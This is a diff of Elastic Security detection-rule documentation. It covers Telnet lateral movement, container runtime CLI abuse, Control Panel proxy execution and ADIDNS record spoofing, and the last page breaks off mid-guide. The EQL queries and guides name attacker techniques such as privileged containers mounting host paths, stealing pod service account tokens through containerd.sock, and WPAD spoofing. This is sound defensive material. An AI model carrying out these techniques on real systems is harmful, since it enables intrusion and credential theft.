logs-sentinel_one_cloud_funnel.* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.iana.org/assignments/iana-ipv4-special-registry/iana-ipv4-special-registry.xhtml + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* Use Case: Threat Detection +* Tactic: Lateral Movement +* Data Source: Elastic Defend +* Data Source: SentinelOne +* Resources: Investigation Guide +* Noise: Medium +* Performance: Normal +* Rule Type: Event Correlation (EQL) +* Platform: Linux + +*Version*: 213 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Connection to Internal Network via Telnet* + + +Telnet is a protocol offering a command-line interface for remote device management, often used in network environments. Adversaries may exploit Telnet to move laterally within a network, accessing non-public IPs to execute commands or exfiltrate data. The detection rule identifies Telnet connections to internal IP ranges, flagging potential unauthorized access attempts, thus aiding in early threat detection and response. + + +*Possible investigation steps* + + +- Review the process details to confirm the Telnet connection initiation by examining the process.entity_id and process.name fields to ensure the process is indeed Telnet. +- Analyze the destination IP address to determine if it falls within the specified non-public IP ranges, indicating an internal network connection attempt. +- Check the event.type field to verify that the Telnet process event is of type "start", confirming the initiation of a connection. +- Investigate the source host by reviewing host.os.type and other relevant host details to understand the context and legitimacy of the connection attempt. +- Correlate the Telnet activity with any other suspicious network or process activities on the same host to identify potential lateral movement or data exfiltration attempts. +- Consult historical logs and alerts to determine if there have been previous similar Telnet connection attempts from the same source, which might indicate a pattern or ongoing threat. + + +*False positive analysis* + + +- Routine administrative tasks using Telnet within internal networks can trigger false positives. To manage this, create exceptions for known IP addresses or specific user accounts that regularly perform these tasks. +- Automated scripts or monitoring tools that use Telnet for legitimate purposes may be flagged. Identify these scripts and whitelist their associated processes or IP addresses to prevent unnecessary alerts. +- Internal testing environments often simulate network activities, including Telnet connections. Exclude IP ranges associated with these environments to reduce false positives. +- Legacy systems that rely on Telnet for communication might generate alerts. Document these systems and apply exceptions based on their IP addresses or hostnames to avoid repeated false positives. +- Regularly review and update the list of excluded IPs and processes to ensure that only legitimate activities are exempted, maintaining the effectiveness of the detection rule. + + +*Response and remediation* + + +- Immediately isolate the affected host from the network to prevent further lateral movement or data exfiltration. +- Terminate any active Telnet sessions on the affected host to stop unauthorized access. +- Conduct a thorough review of the affected host's system logs and Telnet session logs to identify any unauthorized commands executed or data accessed. +- Change all credentials that may have been exposed or used during the unauthorized Telnet sessions to prevent further unauthorized access. +- Apply security patches and updates to the affected host and any other systems that may be vulnerable to similar exploitation. +- Implement network segmentation to limit Telnet access to only necessary systems and ensure that Telnet is disabled on systems where it is not required. +- Escalate the incident to the security operations center (SOC) or incident response team for further investigation and to determine if additional systems have been compromised. + +==== Setup + + + +*Setup* + + +This rule requires data coming in from one of the following integrations: +- Elastic Defend +- Auditbeat + + +*Elastic Defend Integration Setup* + +Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app. + + +*Prerequisite Requirements:* + +- Fleet is required for Elastic Defend. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. + + +*The following steps should be executed in order to add the Elastic Defend integration on a Linux System:* + +- Go to the Kibana home page and click "Add integrations". +- In the query bar, search for "Elastic Defend" and select the integration to see more details about it. +- Click "Add Elastic Defend". +- Configure the integration name and optionally add a description. +- Select the type of environment you want to protect, either "Traditional Endpoints" or "Cloud Workloads". +- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html[Helper guide]. +- We suggest selecting "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions" +- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" tab and select an existing policy instead. +For more details on Elastic Agent configuration settings, refer to the https://www.elastic.co/guide/en/fleet/8.10/agent-policy.html[helper guide]. +- Click "Save and Continue". +- To complete the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic Agent on your hosts. +For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[helper guide]. + + +*Auditbeat Setup* + +Auditbeat is a lightweight shipper that you can install on your servers to audit the activities of users and processes on your systems. For example, you can use Auditbeat to collect and centralize audit events from the Linux Audit Framework. You can also use Auditbeat to detect changes to critical files, like binaries and configuration files, and identify potential security policy violations. + + +*The following steps should be executed in order to add the Auditbeat on a Linux System:* + +- Elastic provides repositories available for APT and YUM-based distributions. Note that we provide binary packages, but no source packages. +- To install the APT and YUM repositories follow the setup instructions in this https://www.elastic.co/guide/en/beats/auditbeat/current/setup-repositories.html[helper guide]. +- To run Auditbeat on Docker follow the setup instructions in the https://www.elastic.co/guide/en/beats/auditbeat/current/running-on-docker.html[helper guide]. +- To run Auditbeat on Kubernetes follow the setup instructions in the https://www.elastic.co/guide/en/beats/auditbeat/current/running-on-kubernetes.html[helper guide]. +- For complete “Setup and Run Auditbeat” information refer to the https://www.elastic.co/guide/en/beats/auditbeat/current/setting-up-and-running.html[helper guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +sequence by process.entity_id + [process where host.os.type == "linux" and event.type == "start" and event.action in ("exec", "start") and process.name == "telnet"] + [network where host.os.type == "linux" and process.name == "telnet" and cidrmatch( + destination.ip, "10.0.0.0/8", "127.0.0.0/8", "169.254.0.0/16", "172.16.0.0/12", "192.0.0.0/24", "192.0.0.0/29", + "192.0.0.8/32", "192.0.0.9/32", "192.0.0.10/32", "192.0.0.170/32", "192.0.0.171/32", "192.0.2.0/24", + "192.31.196.0/24", "192.52.193.0/24", "192.168.0.0/16", "192.88.99.0/24", "224.0.0.0/4", "100.64.0.0/10", + "192.175.48.0/24", "198.18.0.0/15", "198.51.100.0/24", "203.0.113.0/24", "240.0.0.0/4", "::1", "FE80::/10", + "FF00::/8" + ) + ] + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Lateral Movement +** ID: TA0008 +** Reference URL: https://attack.mitre.org/tactics/TA0008/ +* Technique: +** Name: Remote Services +** ID: T1021 +** Reference URL: https://attack.mitre.org/techniques/T1021/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-container-management-utility-run-inside-a-container.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-container-management-utility-run-inside-a-container.asciidoc new file mode 100644 index 0000000000..272db0f175 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-container-management-utility-run-inside-a-container.asciidoc @@ -0,0 +1,168 @@ +[[prebuilt-rule-8-19-34-container-management-utility-run-inside-a-container]] +=== Container Management Utility Run Inside A Container + +This rule detects when a container management binary is run from inside a container. These binaries are critical components of many containerized environments, and their presence and execution in unauthorized containers could indicate compromise or a misconfiguration. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.process* + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Containers +* OS: Linux +* Use Case: Threat Detection +* Tactic: Execution +* Data Source: Elastic Defend +* Resources: Investigation Guide +* Noise: High +* Performance: Normal +* Profile: Aggressive +* Rule Type: Event Correlation (EQL) +* Platform: Linux +* Domain: Endpoint + +*Version*: 6 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Container Management Utility Run Inside A Container* + + +Container management utilities like Docker and Kubectl are essential for orchestrating and managing containerized applications. They facilitate tasks such as deployment, scaling, and networking. However, adversaries can exploit these tools to execute unauthorized commands within containers, potentially leading to system compromise. The detection rule identifies suspicious execution of these utilities within containers, signaling possible misuse or misconfiguration, by monitoring specific process activities and event types. + + +*Possible investigation steps* + + +- Examine the process name and command line arguments to understand the context of the execution and identify any anomalies or unauthorized commands. +- Check the user and permissions associated with the process to assess if it aligns with expected roles and access levels for container management tasks. +- Investigate the container's creation and deployment history to identify any recent changes or deployments that could explain the presence of the management utility. +- Analyze network activity associated with the container to detect any unusual connections or data transfers that might indicate malicious activity. +- Correlate the event with other security alerts or logs to identify patterns or related incidents that could provide additional context or evidence of compromise. + + +*False positive analysis* + + +- Routine maintenance tasks within containers can trigger the rule. Exclude known maintenance scripts or processes by adding them to an allowlist if they frequently execute container management utilities. +- Development and testing environments often run container management commands for legitimate purposes. Consider excluding these environments from monitoring or adjust the rule to focus on production environments only. +- Automated deployment tools may execute container management commands as part of their workflow. Identify these tools and create exceptions for their activities to prevent false positives. +- System updates or patches might involve running container management utilities. Monitor update schedules and temporarily adjust the rule to avoid unnecessary alerts during these periods. +- Legitimate administrative actions by authorized personnel can trigger the rule. Implement user-based exceptions for known administrators to reduce false positives while maintaining security oversight. + + +*Response and remediation* + + +- Immediately isolate the affected container to prevent further unauthorized access or execution of commands. This can be done by stopping the container or disconnecting it from the network. +- Review the container's configuration and access controls to identify any misconfigurations or unauthorized access permissions that may have allowed the execution of container management utilities. +- Conduct a thorough analysis of the container's logs and process activities to determine the extent of the compromise and identify any additional malicious activities or lateral movement attempts. +- Remove any unauthorized or suspicious binaries and scripts from the container to prevent further exploitation. +- Patch and update the container image and underlying host system to address any known vulnerabilities that may have been exploited. +- Implement stricter access controls and monitoring on container management utilities to ensure they are only accessible by authorized users and processes. +- Escalate the incident to the security operations team for further investigation and to assess the need for broader security measures across the container environment. + +==== Setup + + + +*Setup* + + +This rule requires data coming in from Elastic Defend. + + +*Elastic Defend Integration Setup* + +Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app. + + +*Prerequisite Requirements:* + +- Fleet is required for Elastic Defend. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. + + +*The following steps should be executed in order to add the Elastic Defend integration on a Linux System:* + +- Go to the Kibana home page and click "Add integrations". +- In the query bar, search for "Elastic Defend" and select the integration to see more details about it. +- Click "Add Elastic Defend". +- Configure the integration name and optionally add a description. +- Select the type of environment you want to protect, either "Traditional Endpoints" or "Cloud Workloads". +- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html[Helper guide]. +- We suggest selecting "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions" +- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" tab and select an existing policy instead. + +For more details on Elastic Agent configuration settings, refer to the https://www.elastic.co/guide/en/fleet/8.10/agent-policy.html[helper guide]. +- Click "Save and Continue". +- To complete the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic Agent on your hosts. +For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[helper guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "linux" and event.type == "start" and event.action == "exec" and +process.entry_leader.entry_meta.type == "container" and process.interactive == true and +process.name in ("dockerd", "kubelet", "kube-proxy", "kubectl", "containerd", "systemd", "crictl") and +not ( + process.parent.executable in ("/sbin/init", "/usr/bin/dockerd", "/usr/bin/runc", "/usr/bin/containerd-shim-runc-v2") or + process.working_directory == "/aws" or + process.parent.command_line == "runc init" or + (process.parent.name == "busybox" and process.name == "kubectl") +) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Container Administration Command +** ID: T1609 +** Reference URL: https://attack.mitre.org/techniques/T1609/ +* Tactic: +** Name: Discovery +** ID: TA0007 +** Reference URL: https://attack.mitre.org/tactics/TA0007/ +* Technique: +** Name: Container and Resource Discovery +** ID: T1613 +** Reference URL: https://attack.mitre.org/techniques/T1613/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-container-runtime-cli-execution-with-suspicious-arguments.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-container-runtime-cli-execution-with-suspicious-arguments.asciidoc new file mode 100644 index 0000000000..23de92a85c --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-container-runtime-cli-execution-with-suspicious-arguments.asciidoc @@ -0,0 +1,144 @@ +[[prebuilt-rule-8-19-34-container-runtime-cli-execution-with-suspicious-arguments]] +=== Container Runtime CLI Execution with Suspicious Arguments + +Detects execution of container runtime CLI tools (ctr, crictl, nerdctl) with arguments indicating container creation, command execution inside existing containers, image manipulation, or host filesystem mounting. These tools interact directly with the container runtime socket, bypassing the Kubernetes API server, RBAC authorization, admission webhooks, pod security standards, and Kubernetes audit logging entirely. Attackers with host-level access may use these tools to create privileged ghost containers, exec into other pods to steal service account tokens and secrets, pull attacker-controlled images, and destroy evidence, all while remaining invisible to Kubernetes-level monitoring. + +*Rule type*: eql + +*Rule indices*: + +* auditbeat-* +* logs-auditd_manager.auditd-* +* logs-endpoint.events.process* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://attack.mitre.org/techniques/T1609/ +* https://book.hacktricks.xyz/linux-hardening/privilege-escalation/containerd-ctr-privilege-escalation + +*Tags*: + +* Data Source: Auditd Manager +* Data Source: Elastic Defend +* Domain: Containers +* Domain: Endpoint +* OS: Linux +* Use Case: Threat Detection +* Tactic: Execution +* Resources: Investigation Guide +* Noise: Low +* Performance: Normal +* Rule Type: Event Correlation (EQL) +* Platform: Linux + +*Version*: 2 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Container Runtime CLI Execution with Suspicious Arguments* + + +Review the full argv list and working directory. Confirm whether the session is interactive, whether the image or bundle +referenced is trusted, and whether bind mounts or privileged flags target host paths such as `/`, `/etc`, or Docker +sockets. + + +*Possible investigation steps* + + +- Reconstruct the container ID or snapshot key passed to `tasks`, `snapshots`, or `content` subcommands. +- Correlate with file, network, and Kubernetes audit activity for pulls from unusual registries or subsequent pod + changes. +- Check whether the parent should legitimately be kubelet, containerd, or systemd on that host class. + + +*Response and remediation* + + +- If unauthorized, isolate the node, revoke credentials available to the session, and hunt for new privileged + workloads or image imports. + + +==== Setup + + + +*Setup* + + +Requires process execution telemetry with arguments from **Elastic Defend** (`logs-endpoint.events.process*`) and/or +**Auditd Manager** / Auditbeat (`logs-auditd_manager.auditd-*`, `auditbeat-*`). + +Ensure exec-related auditing captures full argv for `ctr`, `crictl`, and `nerdctl`. See +https://docs.elastic.co/integrations/auditd_manager + + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "linux" and event.type == "start" and event.action in ("exec", "executed") and +( + ( + process.name in ("ctr", "crictl", "nerdctl") and + ( + (process.args == "tasks" and process.args == "exec") or + (process.args == "run" and process.args in ("--privileged", "--rm", "--mount", "--net-host", "--pid-host")) or + (process.args == "snapshots" and process.args == "mount") + ) + ) or + ( + (process.executable like ("/dev/shm/*", "/tmp/*", "/var/tmp/*") or process.name : ".*") and + process.args like ("*containerd.sock*", "k8s.io") + ) +) and +not process.parent.executable in ( + "/usr/bin/kubelet", "/usr/local/bin/kubelet", + "/usr/bin/containerd", "/usr/sbin/containerd", + "/lib/systemd/systemd", "/usr/lib/systemd/systemd", "/sbin/init" +) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Container Administration Command +** ID: T1609 +** Reference URL: https://attack.mitre.org/techniques/T1609/ +* Tactic: +** Name: Privilege Escalation +** ID: TA0004 +** Reference URL: https://attack.mitre.org/tactics/TA0004/ +* Technique: +** Name: Escape to Host +** ID: T1611 +** Reference URL: https://attack.mitre.org/techniques/T1611/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-control-panel-process-with-unusual-arguments.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-control-panel-process-with-unusual-arguments.asciidoc new file mode 100644 index 0000000000..12ad4fc048 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-control-panel-process-with-unusual-arguments.asciidoc @@ -0,0 +1,188 @@ +[[prebuilt-rule-8-19-34-control-panel-process-with-unusual-arguments]] +=== Control Panel Process with Unusual Arguments + +Identifies unusual instances of Control Panel with suspicious keywords or paths in the process command line value. Adversaries may abuse control.exe to proxy execution of malicious code. + +*Rule type*: eql + +*Rule indices*: + +* endgame-* +* logs-crowdstrike.fdr* +* logs-endpoint.events.process-* +* logs-m365_defender.event-* +* logs-sentinel_one_cloud_funnel.* +* logs-system.security* +* logs-windows.forwarded* +* logs-windows.sysmon_operational-* +* winlogbeat-* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.joesandbox.com/analysis/476188/1/html + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Defense Evasion +* Data Source: Elastic Endgame +* Data Source: Elastic Defend +* Data Source: Windows Security Event Logs +* Data Source: Microsoft Defender XDR +* Data Source: Sysmon +* Data Source: SentinelOne +* Data Source: Crowdstrike +* Resources: Investigation Guide +* Noise: Medium +* Performance: Normal +* Profile: Recommended +* Threat: Living off the Land +* Rule Type: Event Correlation (EQL) +* Platform: Windows + +*Version*: 320 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Control Panel Process with Unusual Arguments* + + + +*Possible investigation steps* + + +- Which suspicious argument family did the alert preserve, and what does it imply? + - Focus: `process.command_line` and `@timestamp`, identifying image or INF targets, ".cpl:" indirection, traversal (".."), "AppData\Local", or "Users\Public" fragments. + - Implication: escalate when Control Panel points at non-applet content, user-writable paths, traversal, or URL-like ".cpl:" loading; lower suspicion only when the path and argument resolve to one recognized vendor applet, driver package, or support workflow. + +- Is the alerting binary really the expected Control Panel executable? + - Focus: `process.executable`, `process.pe.original_file_name`, `process.code_signature.subject_name`, `process.code_signature.trusted`, and `process.hash.sha256`. + - Implication: escalate if "control.exe" is renamed, unsigned or untrusted, has an unfamiliar hash, or runs outside the Windows system path; Microsoft identity lowers masquerade risk but does not clear the arguments. + +- Does the parent and user context fit this launch? + - Focus: `process.parent.executable`, `process.parent.command_line`, `user.id`, and `user.name`. + - Implication: Office, browser, script-host, archive-tool, remote-admin, or mismatched-user launches make the command abnormal; keep validating only when parent and user context fit the applet, driver, support, or lab workflow named by the command line. + +- Did Control Panel hand off to follow-on execution? + - Focus: child starts on the same `host.id` where `process.parent.entity_id` equals the alert `process.entity_id`; review child `process.executable`, `process.command_line`, and `process.pe.original_file_name`. !{investigate{"description":"","label":"Child process events for Control Panel","providers":[[{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"},{"excluded":false,"field":"process.parent.entity_id","queryType":"phrase","value":"{{process.entity_id}}","valueType":"string"},{"excluded":false,"field":"event.category","queryType":"phrase","value":"process","valueType":"string"}]],"relativeFrom":"now-1h","relativeTo":"now"}} + - Implication: follow-on execution confirms proxy-abuse risk when the chain uses "rundll32.exe" or "Control_RunDLL", or spawns PowerShell, cmd, mshta, regsvr32, wscript, cscript, or another unexpected LOLBin; a clean stop at the expected applet or support component narrows scope. + - Hint: if `process.entity_id` is absent, recover children with `host.id` + `process.pid` near `@timestamp`; treat ambiguity as unresolved. + +- Did the referenced path contain staged or renamed payload content? + - Focus: file events for `host.id` + `process.entity_id`, or `host.id` + `process.pid` near `@timestamp`; review `file.path`, `file.Ext.original.path`, `file.Ext.header_bytes`, and `file.Ext.windows.zone_identifier`. !{investigate{"description":"","label":"File events for Control Panel","providers":[[{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"},{"excluded":false,"field":"process.entity_id","queryType":"phrase","value":"{{process.entity_id}}","valueType":"string"},{"excluded":false,"field":"event.category","queryType":"phrase","value":"file","valueType":"string"}]],"relativeFrom":"now-1h","relativeTo":"now"}} + - Implication: escalate when file events show executable or script content, mismatched headers, recent renames, internet provenance, or payloads under "AppData\Local" or "Users\Public"; artifacts confined to the same recognized vendor package layout reduce file concern. Missing file telemetry is unresolved, not benign. + +- Did the process or host contact delivery or command-and-control infrastructure? + - Focus: DNS and connection events for `host.id` + `process.entity_id`, or `host.id` + `process.pid` near `@timestamp`; compare DNS `dns.question.name` and `dns.resolved_ip` with `destination.ip` and `destination.port`. !{investigate{"description":"","label":"Network events for Control Panel","providers":[[{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"},{"excluded":false,"field":"process.entity_id","queryType":"phrase","value":"{{process.entity_id}}","valueType":"string"},{"excluded":false,"field":"event.category","queryType":"phrase","value":"network","valueType":"string"}],[{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"},{"excluded":false,"field":"process.entity_id","queryType":"phrase","value":"{{process.entity_id}}","valueType":"string"},{"excluded":false,"field":"event.category","queryType":"phrase","value":"dns","valueType":"string"}]],"relativeFrom":"now-1h","relativeTo":"now"}} + - Implication: escalate when network events show the same process or host reaching rare external domains, payload hosts, or mismatched service ports after launch; urgency drops only when traffic stays limited to the same recognized vendor or internal service. Missing network telemetry is unresolved, not benign. + - Hint: separate DNS events from connection events before correlating `dns.resolved_ip` to `destination.ip`. + +- If local evidence is suspicious or unresolved, does related alert activity change the user or host scope? + - Focus: alerts for the same `user.id` showing delivery, persistence, defense evasion, suspicious children, or other proxy-execution utilities such as "rundll32.exe", "mshta.exe", or "regsvr32.exe". !{investigate{"description":"","label":"Alerts associated with the user","providers":[[{"excluded":false,"field":"event.kind","queryType":"phrase","value":"signal","valueType":"string"},{"excluded":false,"field":"user.id","queryType":"phrase","value":"{{user.id}}","valueType":"string"}]],"relativeFrom":"now-48h/h","relativeTo":"now"}} + - Hint: use the host pivot separately for the same patterns on `host.id`, especially when user context is absent or shared. !{investigate{"description":"","label":"Alerts associated with the host","providers":[[{"excluded":false,"field":"event.kind","queryType":"phrase","value":"signal","valueType":"string"},{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"}]],"relativeFrom":"now-48h/h","relativeTo":"now"}} + - Implication: broaden scope when either pivot shows related delivery, persistence, proxy execution, or repeated suspicious Control Panel launches; keep local only when local evidence is explained and related alerts do not contradict it. + +- Escalate when command intent plus any meaningful corroborator indicates proxy execution, staged payloads, unexpected child execution, suspicious destinations, or spread; close only when alert-local process evidence and supported recovery bind the exact activity to one recognized workflow with no contradictions; if evidence is mixed or visibility is incomplete, preserve artifacts and escalate. + + +*False positive analysis* + + +- Vendor applets, printer/display drivers, hardware-management packages, support troubleshooting, or lab validation can trigger unusual Control Panel paths. Confirm `process.command_line` names the expected CPL or INF target, `process.executable` is the Microsoft system binary, `process.parent.executable` and `process.parent.command_line` match the installer or support component, `user.id` and `host.id` fit the endpoint or lab cohort, artifacts stay inside the vendor package layout, and no suspicious child process or unexpected external destination follows. Use package, change, or lab records only as corroboration; without them, close only when this case's telemetry binds the exact workflow. Treat it as a candidate exception until records or recurrence confirm stability. +- Before creating an exception, validate that the same `process.executable`, `process.parent.executable`, stable `process.command_line` pattern, `user.id`, and `host.id` recur across prior alerts from this rule. Build the exception from that minimum confirmed workflow pattern. Avoid exceptions on "control.exe" alone, on a file extension alone, or on a host alone. + + +*Response and remediation* + + +- If confirmed benign, reverse any temporary containment and document the command, binary identity, parent workflow, account, host, artifact, and destination evidence that proved one recognized workflow. Create an exception only if that same workflow recurs across prior alerts from this rule. +- If suspicious but unconfirmed, preserve a case export with `process.command_line`, `process.entity_id`, parent and child lineage, referenced artifacts, and network indicators when available before containment. Apply reversible containment first, such as temporary egress restrictions or heightened monitoring on the affected `host.id` and `user.id`, and avoid deleting files or killing child processes until follow-on execution is scoped. +- Do not isolate or suspend based on the alert alone. Escalate suspicious-but-unconfirmed cases to host isolation or account action only when child-process, artifact, network, or related-alert evidence shows likely follow-on execution or broader exposure. +- If confirmed malicious, preserve the same process, artifact, and network evidence before destructive action. Isolate the endpoint to stop further execution while keeping telemetry available; if direct endpoint response is unavailable, hand off the preserved `host.id`, `user.id`, `process.entity_id`, and command-line evidence to the team that can isolate the host or suspend the account. +- After scoping related hosts, users, parent processes, command-line fragments, referenced paths, and follow-on children, quarantine or remove the malicious applets, DLLs, scripts, archives, or dropped artifacts identified during the investigation. Restore affected Control Panel or shell-association paths to the expected baseline and verify no persistence remains. +- Post-incident hardening: restrict document-, script-, and archive-driven launches of Control Panel on privileged or shared systems, retain any file or network telemetry that limited the case, and record the confirmed workflow or malicious artifact pattern for future triage. + + +==== Setup + + + +*Setup* + + +This rule is designed for data generated by https://www.elastic.co/security/endpoint-security[Elastic Defend], which provides native endpoint detection and response, along with event enrichments designed to work with our detection rules. + +Setup instructions: https://ela.st/install-elastic-defend + + +*Additional data sources* + + +This rule also supports the following third-party data sources. For setup instructions, refer to the links below: + +- https://ela.st/crowdstrike-integration[CrowdStrike] +- https://ela.st/m365-defender[Microsoft Defender XDR] +- https://ela.st/sentinel-one-cloud-funnel[SentinelOne Cloud Funnel] +- https://ela.st/sysmon-event-1-setup[Sysmon Event ID 1 - Process Creation] +- https://ela.st/audit-process-creation[Windows Process Creation Logs] + + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "windows" and event.type == "start" and + process.name : "control.exe" and + process.command_line : ( + "*.jpg*", "*.png*", + "*.gif*", "*.bmp*", + "*.jpeg*", "*.TIFF*", + "*.inf*", "*.cpl:*/*", + "*../../..*", + "*/AppData/Local/*", + "*:\\Users\\Public\\*", + "*\\AppData\\Local\\*" +) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: System Binary Proxy Execution +** ID: T1218 +** Reference URL: https://attack.mitre.org/techniques/T1218/ +* Sub-technique: +** Name: Control Panel +** ID: T1218.002 +** Reference URL: https://attack.mitre.org/techniques/T1218/002/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-creation-of-a-dns-named-record.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-creation-of-a-dns-named-record.asciidoc new file mode 100644 index 0000000000..5a633db30f --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-creation-of-a-dns-named-record.asciidoc @@ -0,0 +1,136 @@ +[[prebuilt-rule-8-19-34-creation-of-a-dns-named-record]] +=== Creation of a DNS-Named Record + +Active Directory Integrated DNS (ADIDNS) is one of the core components of AD DS, leveraging AD's access control and replication to maintain domain consistency. It stores DNS zones as AD objects, a feature that, while robust, introduces some security issues because of the default permission (Any authenticated users) to create DNS-named records. Attackers can perform Dynamic Spoofing attacks, where they monitor LLMNR/NBT-NS requests and create DNS-named records to target systems that are requested from multiple systems. They can also create specific records to target specific services, such as wpad, for spoofing attacks. + +*Rule type*: eql + +*Rule indices*: + +* logs-system.security* +* logs-windows.forwarded* +* winlogbeat-* + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.netspi.com/blog/technical/network-penetration-testing/adidns-revisited/ +* https://www.thehacker.recipes/a-d/movement/mitm-and-coerced-authentications/wpad-spoofing + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Credential Access +* Data Source: Active Directory +* Use Case: Active Directory Monitoring +* Data Source: Windows Security Event Logs +* Resources: Investigation Guide +* Noise: Medium +* Performance: Normal +* Rule Type: Event Correlation (EQL) +* Platform: Windows + +*Version*: 110 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Creation of a DNS-Named Record* + + +Active Directory Integrated DNS (ADIDNS) is crucial for maintaining domain consistency by storing DNS zones as AD objects. However, its default permissions can be exploited by attackers to create DNS records for spoofing attacks, targeting services like WPAD. The detection rule identifies such abuse by monitoring specific Windows events related to DNS record creation, filtering out legitimate system accounts to highlight potential threats. + + +*Possible investigation 